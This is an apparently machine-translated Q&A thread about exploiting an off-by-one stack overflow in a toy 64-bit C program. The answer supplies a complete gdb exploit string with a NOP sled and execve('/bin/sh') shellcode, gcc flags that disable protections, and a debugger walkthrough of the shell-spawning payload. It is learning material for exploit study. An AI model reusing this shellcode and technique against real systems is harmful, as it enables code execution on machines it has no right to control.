Offbyone 缓冲区溢出有效负载中的 NULL 字节

Dha*_*Pro 4 c exploit reverse-engineering

所以我在下面的简单代码的帮助下尝试 Offbyone 缓冲区溢出

#include <string.h>

void cpy(char *x){
char buf[128]="";
strncat(buf,x,sizeof(buf));

}
int main(int argc, char **argv)
{

    cpy(argv[1]);

}
Run Code Online (Sandbox Code Playgroud)

此图描述了 Offbyone 缓冲区溢出的工作原理

在此输入图像描述

摘自: https: //www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481

这是 main 和 cpy 的反汇编 在此输入图像描述

在此输入图像描述

这是我使用的有效负载 在此输入图像描述

内存转储

在此输入图像描述

因此,使用缓冲区,在 Cpy 堆栈帧中,我将保存的 RBP 的最低有效字节的值更改为00因为通过提供恰好 128 字节输入实现了 Offbyone 溢出

可以看到地址0x7fffffffe177存储了EBP,其值从0x7fffffffe190变为0x7fffffffe100

因此,我继续将有效负载的起始地址设置为地址0x7fffffffe10F ,这也是 main 的返回地址 ,应该是0xffffe110 0x00007fff而不是0xffffe110 0x90907fff,但由于我们不应该在有效负载中包含 00,所以我无法设置返回地址,因为它是 64 位地址,长度为 8 字节 0xffffe110 0x00007fff

那么我们到底应该如何获得这里的返回地址呢?由于内存转储的图像,在断点 1 中,它是 cpy 函数框架,为什么 argc 和 argv [] 位于堆栈顶部?我是利用写作的新手,非常感谢所有的帮助。

rus*_*one 7

因此,让我们首先描述一下可用于设置所需返回地址值而不在有效负载中传递零字节的技巧。

我对您的代码做了一些更改,以使其更容易实现这一点。这是新代码:

#include <string.h>

int i;

void cpy(char *x) {
    char buf[128];
    for (i = 0; i <= 128; ++i) {
        buf[i] = x[i];
    }
}

int main(int argc, char **argv) {
    cpy(argv[1]);
    return 0;
}
Run Code Online (Sandbox Code Playgroud)

主要区别在于,现在我们可以控制保存的较低有效字节的值rbp。在您的示例中,我们只能将其设置为零。

这是我们函数的堆栈框架cpy

在此输入图像描述

@rbp- 保存main函数的基栈指针

@rsp- 堆栈指针位于cpy函数开头(紧随其后push rbp

技巧是我们以这样的方式覆盖最后一个字节@rbp = @rsp - 8。因此,当我们从main函数返回时$rbp,将等于@rsp - 8,因此返回地址@rsp - 8也将是 ie之前的 8 个字节@rsp - 8

从 返回后main我们将跳转到@rsp - 8. 现在我们只需将jmpshellcode 放入该地址即可:

在此输入图像描述

但在你原来的例子中,这个技巧无法完成,因为我们无法控制 的较低有效字节的值@rbp

@rbp还应该注意的是,如果和 的@rsp最后一个字节的差异大于最后一个字节,则该技巧将不起作用。

最后是利用。

编译带有可执行堆栈且没有堆栈保护的代码:

$ gcc test.c -o test -z execstack -fno-stack-protector
Run Code Online (Sandbox Code Playgroud)

jmp获取我们的shellcode 的字节码:

$ rasm2 -a x86 -b 64 'jmp -0x50'
ebae
Run Code Online (Sandbox Code Playgroud)

利用下gdb

$ gdb --args test $(python -c 'print "\x90" * 91 + "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" + "\xeb\xb8" + "a" * 6 + "\xc8"')

>>> b cpy
>>> b *cpy+90
>>> r
Breakpoint 1, 0x00000000004004aa in cpy ()
Run Code Online (Sandbox Code Playgroud)

所以这里被保存rbp

>>> x/1gx $rbp
0x7fffffffd3d0: 0x00007fffffffd3f0
Run Code Online (Sandbox Code Playgroud)

这是函数rsp的开头cpy

>>> p/x $rsp
$1 = 0x7fffffffd3d0
Run Code Online (Sandbox Code Playgroud)

rbp我们想要在返回后获得的值cpy(这就是为什么有效负载的最后一个字节是\xc8

>>> p/x $rsp - 8
$2 = 0x7fffffffd3c8
Run Code Online (Sandbox Code Playgroud)

继续到末尾cpy

>>> c
Breakpoint 2, 0x0000000000400500 in cpy ()
Run Code Online (Sandbox Code Playgroud)

汇编代码cpy

>>> disassemble cpy
Dump of assembler code for function cpy:
     0x00000000004004a6 <+0>:     push   rbp
     0x00000000004004a7 <+1>:     mov    rbp,rsp
     0x00000000004004aa <+4>:     sub    rsp,0x10
     0x00000000004004ae <+8>:     mov    QWORD PTR [rbp-0x88],rdi
     0x00000000004004b5 <+15>:    mov    DWORD PTR [rip+0x20046d],0x0        # 0x60092c <i>
     0x00000000004004bf <+25>:    jmp    0x4004f2 <cpy+76>
     0x00000000004004c1 <+27>:    mov    eax,DWORD PTR [rip+0x200465]        # 0x60092c <i>
     0x00000000004004c7 <+33>:    mov    edx,DWORD PTR [rip+0x20045f]        # 0x60092c <i>
     0x00000000004004cd <+39>:    movsxd rcx,edx
     0x00000000004004d0 <+42>:    mov    rdx,QWORD PTR [rbp-0x88]
     0x00000000004004d7 <+49>:    add    rdx,rcx
     0x00000000004004da <+52>:    movzx  edx,BYTE PTR [rdx]
     0x00000000004004dd <+55>:    cdqe
     0x00000000004004df <+57>:    mov    BYTE PTR [rbp+rax*1-0x80],dl
     0x00000000004004e3 <+61>:    mov    eax,DWORD PTR [rip+0x200443]        # 0x60092c <i>
     0x00000000004004e9 <+67>:    add    eax,0x1
     0x00000000004004ec <+70>:    mov    DWORD PTR [rip+0x20043a],eax        # 0x60092c <i>
     0x00000000004004f2 <+76>:    mov    eax,DWORD PTR [rip+0x200434]        # 0x60092c <i>
     0x00000000004004f8 <+82>:    cmp    eax,0x80
     0x00000000004004fd <+87>:    jle    0x4004c1 <cpy+27>
     0x00000000004004ff <+89>:    nop
  => 0x0000000000400500 <+90>:    leave
     0x0000000000400501 <+91>:    ret
End of assembler dump.
Run Code Online (Sandbox Code Playgroud)

rbp之后的值leave

>>> ni
>>> p/x $rbp
$1 = 0x7fffffffd3c8
Run Code Online (Sandbox Code Playgroud)

执行到结束main

>>> ni
>>> ni
>>> ni
>>> disassemble
Dump of assembler code for function main:
     0x0000000000400502 <+0>:     push   rbp
     0x0000000000400503 <+1>:     mov    rbp,rsp
     0x0000000000400506 <+4>:     sub    rsp,0x10
     0x000000000040050a <+8>:     mov    DWORD PTR [rbp-0x4],edi
     0x000000000040050d <+11>:    mov    QWORD PTR [rbp-0x10],rsi
     0x0000000000400511 <+15>:    mov    rax,QWORD PTR [rbp-0x10]
     0x0000000000400515 <+19>:    add    rax,0x8
     0x0000000000400519 <+23>:    mov    rax,QWORD PTR [rax]
     0x000000000040051c <+26>:    mov    rdi,rax
     0x000000000040051f <+29>:    call   0x4004a6 <cpy>
     0x0000000000400524 <+34>:    mov    eax,0x0
     0x0000000000400529 <+39>:    leave
  => 0x000000000040052a <+40>:    ret
End of assembler dump.
>>> ni
Run Code Online (Sandbox Code Playgroud)

现在我们的shellcode@rsp - 8如下:jmp

>>> disassemble $rip,+2
Dump of assembler code from 0x7fffffffd3c8 to 0x7fffffffd3ca:
=> 0x00007fffffffd3c8:  jmp    0x7fffffffd382
End of assembler dump.
Run Code Online (Sandbox Code Playgroud)

最后是 shellcode:

>>> ni
>>> disassemble $rip,+0x50
Dump of assembler code from 0x7fffffffd382 to 0x7fffffffd3d2:
=> 0x00007fffffffd382:  nop
   0x00007fffffffd383:  nop
   0x00007fffffffd384:  nop
   0x00007fffffffd385:  nop
   ...
   0x00007fffffffd3ab:  xor    rdi,rdi
   0x00007fffffffd3ae:  push   rdi
   0x00007fffffffd3af:  push   rdi
   0x00007fffffffd3b0:  pop    rsi
   0x00007fffffffd3b1:  pop    rdx
   0x00007fffffffd3b2:  movabs rdi,0x68732f6e69622f2f
   0x00007fffffffd3bc:  shr    rdi,0x8
   0x00007fffffffd3c0:  push   rdi
   0x00007fffffffd3c1:  push   rsp
   0x00007fffffffd3c2:  pop    rdi
   0x00007fffffffd3c3:  push   0x3b
   0x00007fffffffd3c5:  pop    rax
   0x00007fffffffd3c6:  syscall
Run Code Online (Sandbox Code Playgroud)